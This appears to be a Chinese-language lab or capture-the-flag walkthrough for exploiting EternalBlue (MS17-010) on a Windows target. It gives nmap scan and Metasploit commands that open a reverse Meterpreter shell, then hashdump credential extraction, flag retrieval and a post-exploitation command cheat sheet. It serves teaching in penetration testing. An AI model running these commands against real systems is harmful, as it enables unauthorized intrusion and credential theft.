目标:通过 MS17-010 (EternalBlue) 漏洞攻破 Windows 靶机,获取三个 flag 文件。
第一部分:漏洞利用与初步渗透
1. 漏洞扫描与确认
操作步骤:
nmap -p 445 --script smb-vuln-ms17-010 <靶机IP>
结果:
[+] 靶机IP:445 - Host is likely VULNERABLE to MS17-010!
知识要点:
-
Nmap 漏洞脚本:
smb-vuln-*
脚本用于检测 SMB 协议相关漏洞。 -
MS17-010:影响 Windows SMBv1 的高危漏洞,可远程执行代码。
2. 启动 Metasploit 并配置攻击
操作步骤:
msf6 > use exploit/windows/smb/ms17_010_eternalblue msf6 > set RHOSTS <靶机IP> msf6 > set LHOST <本机IP> msf6 > run
结果:
[*] Meterpreter session 1 opened (本机IP:1234 → 靶机IP:49324)
知识要点:
-
Payload 选择:默认
windows/x64/meterpreter/reverse_tcp
提供反向 Shell。 -
LHOST/LPORT:监听本机 IP 和端口,用于接收 Meterpreter 会话。
第二部分:后渗透操作与错误纠正
1. 错误操作记录与修复
错误 1:在原生 Shell 中使用 Meterpreter 命令
meterpreter > shell C:\> hashdump # 失败:'hashdump' 不是合法命令
修复方法:
-
返回 Meterpreter:在原生 Shell 输入
exit
或Ctrl+Z
。 -
使用 Meterpreter 专属命令:
-
meterpreter > hashdump # 直接提取哈希
错误 2:路径格式错误
meterpreter > cat C:\flag1.txt # 失败:路径解析错误
修复方法:
-
使用正斜杠或双反斜杠:
-
meterpreter > cat C:/flag1.txt # 正斜杠 meterpreter > cat C:\\flag1.txt # 双反斜杠
错误 3:权限不足
bash meterpreter > cat C:/Windows/System32/config/flag2.txt # 失败:拒绝访问
修复方法:
-
提权至 SYSTEM:
meterpreter > getuid # 检查当前权限 Server username: NT AUTHORITY\SYSTEM # 已是最高权限
验证路径存在性:
-
meterpreter > dir C:/Windows/System32/config # 确认文件是否存在
2. 正确操作流程
步骤 1:提取用户哈希
meterpreter > hashdump Administrator:500:aad3b...:: Jon:1000:aad3b...::
知识要点:
-
NTLM 哈希:可用于 Pass-the-Hash 攻击或离线破解。
步骤 2:搜索 flag 文件
meterpreter > search -f flag*.txt c:\flag1.txt c:\Users\Jon\Documents\flag3.txt c:\Windows\System32\config\flag2.txt
知识要点:
-
search
命令参数:-f
按文件名搜索,-r
递归目录。
步骤 3:读取 flag 文件
meterpreter > cat C:/flag1.txt flag{access_the_machine} meterpreter > cat C:/Users/Jon/Documents/flag3.txt flag{admin_documents_can_be_valuable} meterpreter > cat C:/Windows/System32/config/flag2.txt flag{sam_database_elevated_access}
知识要点:
-
文件路径规则:Meterpreter 兼容 Linux 风格路径(正斜杠)。
第三部分:总结与知识提炼
1. 关键知识点
-
EternalBlue 漏洞利用流程:
-
检测漏洞 → 配置 Metasploit → 获取 Meterpreter 会话。
-
-
Meterpreter 与原生 Shell 的区别:
-
Meterpreter:内存驻留、加密通信、专属命令(
hashdump
,search
)。 -
原生 Shell:依赖系统工具(如
dir
,type
),无高级渗透功能。
-
-
路径与权限问题:
-
Windows 路径需转义(
C:/
或C:\\
)。 -
SYSTEM 权限可访问所有文件,但需注意系统保护机制。
-
2. 渗透测试工作流
-
信息收集:Nmap 扫描 + 漏洞确认。
-
漏洞利用:Metasploit 模块精准打击。
-
后渗透操作:
-
提权 → 提取凭证 → 搜索敏感文件 → 数据回传。
-
附录:常用 Meterpreter 命令速查
命令 | 用途 |
---|---|
hashdump | 提取用户哈希 |
search -f <模式> | 按文件名搜索文件 |
download <路径> | 下载文件到攻击机 |
upload <本地文件> | 上传文件到靶机 |
getsystem | 提权至 SYSTEM 权限 |
shell | 进入原生 Shell(exit 返回) |